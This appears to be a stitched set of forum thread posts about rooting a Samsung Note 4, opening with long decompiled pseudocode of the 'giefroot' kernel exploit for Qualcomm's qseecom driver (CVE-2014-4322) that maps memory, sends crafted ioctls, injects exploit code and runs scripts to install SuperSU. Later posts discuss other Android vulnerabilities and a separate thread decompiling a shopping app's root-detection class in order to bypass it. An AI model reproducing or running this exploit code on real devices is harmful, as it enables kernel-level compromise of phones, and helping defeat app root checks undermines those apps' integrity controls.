int v66; // [sp+28h] [bp-1D8h]@38
int v67; // [sp+2Ch] [bp-1D4h]@22
int v68; // [sp+30h] [bp-1D0h]@22
int v69; // [sp+34h] [bp-1CCh]@22
int v70; // [sp+38h] [bp-1C8h]@22
int v71; // [sp+3Ch] [bp-1C4h]@24
unsigned int v72; // [sp+40h] [bp-1C0h]@41
int v73; // [sp+44h] [bp-1BCh]@41
int v74; // [sp+48h] [bp-1B8h]@41
int v75; // [sp+4Ch] [bp-1B4h]@41
int v76; // [sp+50h] [bp-1B0h]@41
unsigned int v77; // [sp+54h] [bp-1ACh]@41
int v78; // [sp+58h] [bp-1A8h]@41
int v79; // [sp+5Ch] [bp-1A4h]@41
int v80; // [sp+60h] [bp-1A0h]@41
int v81; // [sp+64h] [bp-19Ch]@41
int v82; // [sp+68h] [bp-198h]@41
int v83; // [sp+6Ch] [bp-194h]@41
char v84; // [sp+70h] [bp-190h]@4
char v85[4]; // [sp+90h] [bp-170h]@29
int v86; // [sp+94h] [bp-16Ch]@29
int v87; // [sp+98h] [bp-168h]@29
char v88; // [sp+9Ch] [bp-164h]@29
int v89; // [sp+A0h] [bp-160h]@30
int v90; // [sp+A4h] [bp-15Ch]@30
int v91; // [sp+A8h] [bp-158h]@30
int v92; // [sp+ACh] [bp-154h]@30
int v93; // [sp+B0h] [bp-150h]@30
int v94; // [sp+B4h] [bp-14Ch]@30
int v95; // [sp+B8h] [bp-148h]@30
int v96; // [sp+BCh] [bp-144h]@30
int v97; // [sp+C0h] [bp-140h]@30
int v98; // [sp+C4h] [bp-13Ch]@30
int v99; // [sp+C8h] [bp-138h]@30
int v100; // [sp+CCh] [bp-134h]@30
char v101; // [sp+D4h] [bp-12Ch]@1
int v102; // [sp+1D4h] [bp-2Ch]@1
char v103; // [sp+1D8h] [bp-28h]@4
v2 = a1;
v102 = _stack_chk_guard;
v59 = a2;
puts("giefroot (c) zxz0O0");
v3 = fopen("/proc/version", "r");
fread(&v101, 0x100u, 1u, v3);
fclose(v3);
v4 = malloc(0x100u);
v5 = 30;
v6 = fopen("/system/build.prop", "r");
do
{
while ( 1 )
{
fgets((char *)v4, 256, v6);
v7 = strncmp((const char *)v4, "ro.product.device=", 0x12u);
v8 = v7;
if ( !v7 )
break;
--v5;
if ( !v5 )
goto LABEL_5;
}
strcpy(&v84, (const char *)v4 + 18);
--v5;
*(&v103 + strlen(&v84) - 361) = v8;
}
while ( v5 );
LABEL_5:
fclose(v6);
free(v4);
v9 = supported_kernel[0];
if ( supported_kernel[0] )
{
v10 = &unk_D014;
v11 = &unk_D0A4;
v12 = (char **)unk_D0A4;
do
{
if ( !strcmp(v9, &v101) && (!v12 || !strcmp((const char *)*((int *)v10 - 4), &v84)) )
{
v12 = &supported_kernel[5 * v5];
unk_D0A4 = &supported_kernel[5 * v5];
}
v13 = *(const char **)v10;
v10 = (char *)v10 + 20;
v9 = v13;
++v5;
}
while ( v13 );
}
else
{
v11 = &unk_D0A4;
v12 = (char **)unk_D0A4;
}
if ( v12 )
{
v12 = (char **)1;
}
else
{
puts("Error: Kernel not supported");
printf("Device: %s, Kernel: %s\n", &v84, &v101);
*(int *)v11 = supported_kernel;
}
if ( v2 > 1 && !strcmp(*(const char **)(v59 + 4), "-s") )
{
result = (unsigned int)v12 ^ 1;
goto error;
}
ion_fd = open("/dev/ion", 0);
if ( ion_fd < 0 )
puts("Error opening ion device");
v67 = 256;
v68 = 4;
v69 = 134217728;
v70 = 1;
sub_89F4();
v16 = ioctl(ion_fd, ION_IOC_ALLOC, &v67);
if ( v16 )
{
v25 = (int *)((int (*)(void))_errno)();
v26 = strerror(*v25);
printf("Error ioctl: %d / %s\n", v16, v26);
}
else
{
sub_89F4();
}
v62 = v71;
v17 = ioctl(ion_fd, ION_IOC_SHARE, &v62);
if ( v17 )
{
v18 = (int *)((int (*)(void))_errno)();
v19 = strerror(*v18);
printf("Error ioctl: %d / %s\n", v17, v19);
}
else
{
sub_89F4();
}
sub_89F4();
ion_void = (void *)mmap(0, 256, 7, 1);
memset(ion_void, 255, 0x100u);
memfile_fd = open("/data/local/tmp/memfile", 2);
if ( memfile_fd < 0 )
sub_89F4();
v20 = mmap(0, 2113929216, 7, 1);
if ( v20 == -1 )
puts("mmap shared_buf failed");
qseecom_fd = open("/dev/qseecom", 0);
if ( qseccom_fd < 0 )
{
puts("Error opening qseecom");
getting_root:
close(memfile_fd);
close(ion_fd);
close(qseccom_fd);
puts("getting root...");
ptmx_fd = open("/dev/ptmx", 0);
fsync(ptmx_fd, v53);
v54 = close(ptmx_fd);
v55 = getuid(v54);
v56 = printf("getuid: %d\n", v55);
if ( getuid(v56) )
{
puts("Error getting root");
result = 1;
}
else
{
system("/data/local/tmp/systemrw.sh");
system("/data/local/tmp/installsupersu.sh");
result = 0;
}
goto error;
}
sub_89F4();
*(int *)v85 = 1769437812;
v86 = 1769366884;
v87 = 25966;
memset(&v88, 0, 0x14u);
while ( 1 )
{
while ( 1 )
{
v93 = *(int *)v85;
v94 = v86;
v95 = v87;
v96 = *(int *)&v88;
v97 = v89;
v98 = v90;
v99 = v91;
v100 = v92;
v22 = ioctl(qseecom_fd, QSEECOM_IOCTL_APP_LOADED_QUERY_REQ, &v93);
if ( v22 )
{
v27 = (int *)_errno(v22, v23, v24);
strerror(*v27);
sub_89F4();
goto obtain_qseecom_mem;
}
sub_89F4();
puts("query failed. trying another app...");
if ( strcmp(v85, "tzwidevine") )
break;
strcpy(v85, "keymaster");
}
if ( strcmp(v85, "keymaster") )
break;
strcpy(v85, "tzsuntory");
}
if ( !strcmp(v85, "tzsuntory") )
{
puts("Error querying app");
goto getting_root;
}
obtain_qseecom_mem:
v64 = v63;
v65 = v20;
v66 = 2113929216;
v28 = ioctl(qseecom_fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &v64);
v31 = v28;
if ( v28 )
{
v57 = (int *)_errno(v28, v29, v30);
v58 = strerror(*v57);
printf("Error ioctl QSEECOM_IOCTL_SET_MEM_PARAM_REQ: %d / %s\n", v31, v58);
}
else
{
sub_89F4();
}
munmap(v20, 2113929216);
v32 = mmap(v20, 4096, 7, 50);
if ( v32 == -1 )
puts("Error allocating shared buf again");
memset((void *)v32, 255, 0x1000u);
v77 = 0;
v79 = 0;
v78 = 0;
v81 = 0;
v80 = 0;
v83 = 0;
v82 = 0;
v73 = 2113921024;
v74 = v32 + 80;
v75 = 4096;
v76 = v63;
v72 = v32;
puts("getting ptr");
v33 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v33 )
{
v36 = (int *)_errno(v33, v34, v35);
strerror(*v36);
sub_89F4();
}
else
{
sub_89F4();
}
munmap(v32, 4096);
sub_89F4();
v37 = mmap(v20, 524288, 7, 49);
if ( v37 != -1 )
{
sub_89F4();
memset((void *)v37, 255, 0x80000u);
v72 = v32 + ((unsigned int)(v37 + 979369984) >> 1);
v77 = (unsigned int)(v37 + 979369984) >> 1;
puts("getting offset");
v38 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v38 )
{
v41 = (int *)_errno(v38, v39, v40);
strerror(*v41);
sub_89F4();
}
else
{
sub_89F4();
}
v42 = sub_8A00(v37, 524288);
munmap(v37, 524288);
v43 = mmap(*(int *)ion_void, 1024, 7, 49);
if ( v43 == -1 )
{
puts("Error: Could not allocate memory for exploit code");
}
else
{
v44 = (void *)v43;
sub_89F4();
memcpy(v44, sub_8994, 0x400u);
munmap(ion_void, 4096);
v45 = (int)((char *)v44 + 64);
do
{
while ( 1 )
{
v46 = *(int *)v44;
v44 = (char *)v44 + 4;
if ( v46 == -1091584273 )
break;
if ( v44 == (void *)v45 )
goto exploit_qseecom;
}
*((int *)v44 - 1) = sub_89A4;
}
while ( v44 != (void *)v45 );
exploit_qseecom:
v47 = v32 + ((unsigned int)(v37 + *(int *)(*(int *)v11 + 8) + 979370040 - v42) >> 1);
v77 = (unsigned int)(v37 + *(int *)(*(int *)v11 + 8) + 979370040 - v42) >> 1;
v72 = v47;
puts("exploiting");
v48 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v48 )
{
v51 = (int *)_errno(v48, v49, v50);
strerror(*v51);
sub_89F4();
}
else
{
sub_89F4();
}
}
goto getting_root;
}
puts("Error allocating testmem");
result = 1;
error:
if ( v102 != _stack_chk_guard )
_stack_chk_fail(result);
return result;
}
I am tried to construct but sorry I am not skilled in reverse enginering. If you understand than try to construct right function from that and share it here!
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Making CVE-2014-4322 a universal one would be quite challenging since it provides write-anywhere without read. It is almost impossible to avoid hard coded offsets. It would be great if there is another read and write anywhere flaw which requires system priv.
ZPaul2Fresh8 said:
I understand, but what are the possible Broadcasts at our disposal? Whatever broadcast we send will be of System UID so maybe we can find something if we look hard enough?
I have Liang Chen (Team Keen (http://en.wikipedia.org/wiki/Pwn2Own#Contest_2014)) looking into CVE-2014-8609 to see if we can achieve System UID.
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Okay I decided to try to invoke the android terminal intent to open a new terminal window as a system user. it doesn't work for me but other people on preOTA may be able to get it to work. I disabled the factory reset crap so don't worry about accidently factory resetting your device (like I did to my tablet before I disabled them). You will need to install the android terminal emulator app from the play store prior to opening this app and clicking the button. if you get a terminal window open type whoami and post a screenshot please. If not a simple post saying it doesn't work is fine.
Sent from my SAMSUNG-SM-N910A using Tapatalk
This one looking good https://android.googlesource.com/pl...5d3e74ecc2b973941d8adbe40c6b23094b5abb7^!/#F0
You can decompile settings.apk and search in src/com/android/settings/accounts/AddAccountSettings.smali to see if it is patched or not.
Hey I know it's already been stated but I wanted to confirm for myself. Confirmed... The string "checkAndGetTcObjectClass" exists in system.img.ext4 from NI1 that i pulled off of sammobile.com http://www.sammobile.com/firmwares/download/38838/N910VVRU1ANI1_N910VVZW1ANI1_VZW.zip/. Screenshot below.
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Hi, I have implemented terminal emulator internaly into CVE-2014-8609.apk but from some unknown reasons it fail to start when I press "open terminal" button, I have spent 2 hours with this and I am lazy to debug more, sorry, try to decompile mine apk and fix it! Interesting thing I can start internal terminal emulator by command: "am start -n com.example.android.samplesync/jackpal.androidterm.Term", but clicking on button it no want to start
munjeni said:
I don't know, I stil receiving sms, only unable to get terminal emulator on button click
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I don't understand it. I'm passing the intent the same way the sms intent and format interested t is passed back to the pending intent. It's just not working. I'm trying to make a service to hand it off to withing the app so that once it's intent is hit I can keep it alive in the background service, and then pull it back into the foreground to use it. In theory this should work even though the originating pending intent is killed shortly after the button press.
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stvn1337 said:
I don't understand it. I'm passing the intent the same way the sms intent and format interested t is passed back to the pending intent. It's just not working. I'm trying to make a service to hand it off to withing the app so that once it's intent is hit I can keep it alive in the background service, and then pull it back into the foreground to use it. In theory this should work even though the originating pending intent is killed shortly after the button press.
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Yes strange, when I click on "open terminal" it open settings, another clicks doing nothing until I kill app and lunch again, strange. Maybe we need to look into terminal emulator for this? I have no time now, but you can try to open another app?
It open com.google.android.c2dm.intent sucesfully but no terminal emulator, I don't know why.
munjeni said:
Yes strange, when I click on "open terminal" it open settings, another clicks doing nothing until I kill app and lunch again, strange. Maybe we need to look into terminal emulator for this? I have no time now, but you can try to open another app?
It open com.google.android.c2dm.intent sucesfully but no terminal emulator, I don't know why.
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Your correct, I wonder if terminal emulator has been patched to prevent the broadAnywhere bug from launching it? If so then we need to find another terminal emulator that allows broadAnywhere to launch it with intents. Unless someone has time to search the terminal emulators source to figure out how it's been patched to prevent it..
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Maxninja said:
I did some research and googled the CVE-2014-4322 exploit and I stumbled on a forum for the Sony Xperia for them to achieve root with that exploit - http://forum.xda-developers.com/showthread.php?t=3011598
I don't know if it's useful but I hope it will help somewhere in the process for our phone to be rooted with the same exploit.
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Yeah that was covered 50+ pages ago. That's the kernel side of it, we know that will work but first we have to get through the Android side first. That's what 1474 should do for us.
@soupmeister Yes. This is the best place.
windstrings said:
This brings the next question.. An educated guess as to whether this will work with lollipop?
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I would be curious about this also, but only after root is out for pre-Lollipop. The description says through 5.0, which sounds to me like 5.0 is vulnerable but who knows if 5.0.1 or 5.0.2 is. Also Samsung, as we've seen recently with the root that works on other phones using those two CVEs not working on our phones, will backport fixes. I don't know how much Samsung is still tweaking their Lollipop update, but since this seems like a small fix, my money would be on it being fixed in the Samsung Lollipop update.
Btw I've been trying to upload the contents of system.img.ext4 from the AT&T and Verizon tar md5 files to Google Drive for easy reference but it keeps timing out and I don't want to post something missing random files. I'll try with a specialized uploader tool later.
Also CVE-2015-1474 was updated on the 17th to say that it's network exploitable(!) and I guess they gave it a 10.0 score, the highest! This seems to be more serious than that last "worst android bug ever" recently used for root in the last year.
I sure hope whatever tool that gives root that comes out also applies a fix for this. I wouldn't want to walk around with it if I could help it.
So after a bunch of useless posts basically asking to confirm this or thanking that..at least we can count on qcom to brighten our day...
https://www.codeaurora.org/projects...le-camera-drivers-cve-2014-4321-cve-2014-4324
Qcom camera FTW
Just a little further reading for some:
http://www.cvedetails.com/cve/CVE-2015-1474/
jcase said:
Would still require 1 or 2 additional vulns to exploit. Not so easy to get camera group in modern Android
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Correct me if I am wrong but camera group should actually be rather easy to take advantage of especially in modern Android. In June this last year the play store rolled out an update that groups all applications for security permissions, so in theory, any app in this group can be used to exploit the vulnerability found. Which means all apps that take picture or record audio are on the table as they are all lumped in together with the camera group.
Basic example of what apps like this can do now that they are grouped.
Camera/Microphone: An app that has permission to take pictures and videos (for example, a camera app) can now gain the permission to record audio. The app could listen to you when you use other apps or when your device’s screen is off.
If this is true than someone much smarter than me should have a lot to fool around with.
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Correct me if I am wrong but camera group should actually be rather easy to take advantage of especially in modern Android. In June this last year the play store rolled out an update that groups all applications for security permissions, so in theory, any app in this group can be used to exploit the vulnerability found. Which means all apps that take picture or record audio are on the table as they are all lumped in together with the camera group.
Basic example of what apps like this can do now that they are grouped.
Camera/Microphone: An app that has permission to take pictures and videos (for example, a camera app) can now gain the permission to record audio. The app could listen to you when you use other apps or when your device’s screen is off.
If this is true than someone much smarter than me should have a lot to fool around with.
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Ok I will. These "permission groups" from the play store have nothing to do with this. We are talking about a single android permission (android.permission.CAMERA) and a single linux group ("camera').
In 5.0, and many 4.x devices (i dont think it was all, it might have been all, i just dont care to find my notes, 10hr trip to take son to Dr and back, just got home and freaking tired) the linux group "camera" used in android was severed from the camera permission, declaring this permission does not put your user (app) into the camera group.
Simple test,
adb shell grep -A 10 -B 10 camera /system/etc/permissions/platform.xml
On blackphone (4.4.x), HTC Desire 510 (4.4.x) MotoX 2014 (5.0.x), the above command returned nothing.
One older devices, say 4.2.2 you would get teh following as the output:
<permission name="android.permission.CAMERA" >
<group gid="camera" />
</permission>
This means apps that are granded the permission, are put into the group "camera".
See:
https://android.googlesource.com/platform/frameworks/base/+/android-4.2.2_r1/data/etc/platform.xml
vs
https://android.googlesource.com/platform/frameworks/base/+/android-4.4.2_r1/data/etc/platform.xml
What does this mean? You cant directly talk to what you need to to exploit those camera vulns, you would need to exploit mediaserver, or escalate to system first (Which means squat, if you are system you have 100 ways to root that are easier than these camera bugs). Also must not forget about SEAndroid, might put a snag into it as well, but like ive said I just saw these today, and have been home for a whole 10minutes so far today.
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If it helps any this is what the adb command returned on the VZW Note4 on NJ5.
View attachment 3172812
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Same here, AT&T NIE
C:\Users\rac1\Desktop\ADB>adb shell grep -A 10 -B 10 camera /system/etc/permissi
ons/platform.xml
<permission name="android.permission.SYSTEM_GROUP_INTERNAL" >
<group gid="system" />
</permission>
<permission name="android.permission.INTERNET" >
<group gid="inet" />
</permission>
<permission name="com.sec.android.permission.CAMERA" >
<group gid="camera" />
</permission>
<permission name="android.permission.READ_LOGS" >
<group gid="log" />
</permission>
<permission name="android.permission.READ_EXTERNAL_STORAGE" >
<group gid="sdcard_r" />
</permission>
--
<group gid="graphics" />
</permission>
<!-- Except for SysScope, DO NOT USE this permission. -->
<permission name="com.sec.android.app.sysscope.permission.ACCESS_SYSTEM_INFO
_SYSSCOPE_ONLY" >
<group gid="radio" />
</permission>
<!-- Group that can use gscaler -->
<permission name="com.sec.android.permission.USE_CAMERA" >
<group gid="camera" />
</permission>
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<!-- The following tags are assigning high-level permissions to specific
user IDs. These are used to allow specific core system users to
perform the given operations with the higher-level framework. For
example, we give a wide variety of permissions to the shell user
OK let's not forget about cve-2015-1474. This is the vulnerability that's going to get us what we want. Let's not get sidetracked about another vulnerability that we may not even need.

[GENERAL KNOWLEDGE]View files/resources a 3rd party app read/writes to

Hello all,
Just curious about some general knowledge (salute; reference: HIMYM) on whether or not it's possible to see what an app is doing (during installation, in the background, app initialization, and foreground usage)
It's not my own app in question so I understand physically seeing the code is out of the question; however I'm more concerned about what the app is doing and the files/directories it accesses, and whether or not there's a way for me to view these activities.
If you must know, the app in question is the Adidas Confirmed app as RootCloak (and various other apps) DO NOT WORK. I'm attempting to isolate the issue, and I'm fairly certain it has to do with an external resource (within the device; i.e. different partition, files, folders, etc.) that permanently marks the device 'rooted' during initial installation. Maybe if I can see exactly what the app reaches out to, I can then come up with a fix action.
Any input would be greatly appreciated.
You could try to decompile this app, but it might not work very well if the app obfuscates the code http://decompileandroid.com/
Rijul.A said:
You could try to decompile this app, but it might not work very well if the app obfuscates the code http://decompileandroid.com/
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This actually worked PERFECTLY. I was able to go inside the src and see exactly the commands the app calls for to check root.
If anyone is interested...I'm going to try a few things out, play with some variables and see if I can't allow the app access on my rooted device.
Code:
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: braces fieldsfirst space lnc
package com.gpshopper.adidas.objects;
import android.os.Build;
import java.io.File;
// Referenced classes of package com.gpshopper.adidas.objects:
// ExecShell
public class Root
{
private static String LOG_TAG = com/gpshopper/adidas/objects/Root.getName();
public Root()
{
}
public static boolean checkRootMethod1()
{
String s = Build.TAGS;
return s != null && s.contains("test-keys");
}
public static boolean checkRootMethod2()
{
label0:
{
label1:
{
boolean flag = false;
boolean flag1;
try
{
File file = new File("/system/app/Superuser.apk");
File file1 = new File("/system/app/SuperSU/SuperSU.apk");
if (file.exists())
{
break label1;
}
flag1 = file1.exists();
}
catch (Exception exception)
{
return false;
}
if (!flag1)
{
break label0;
}
}
flag = true;
}
return flag;
}
public static boolean checkRootMethod3()
{
return (new ExecShell()).executeCommand(ExecShell.SHELL_CMD.check_su_binary) != null;
}
public static boolean isDeviceRooted()
{
return checkRootMethod1() || checkRootMethod2() || checkRootMethod3();
}
}
There is a similar file also in the src using a different language I've not yet been able to comprehend. I'm really new at this in case you couldn't already figure lol...is it possible to view my device's database where apps store variables? It may be possible the app is permanently storing the variable even after its removal so best case would be to start from a fresh ROM install. Just a theory.
The other language is generally irrelevant
Delete /data/data/<packagename>/ or clear app data normally, that will work, no need for a fresh install.
If you need help hooking this method, please quote me in a reply.

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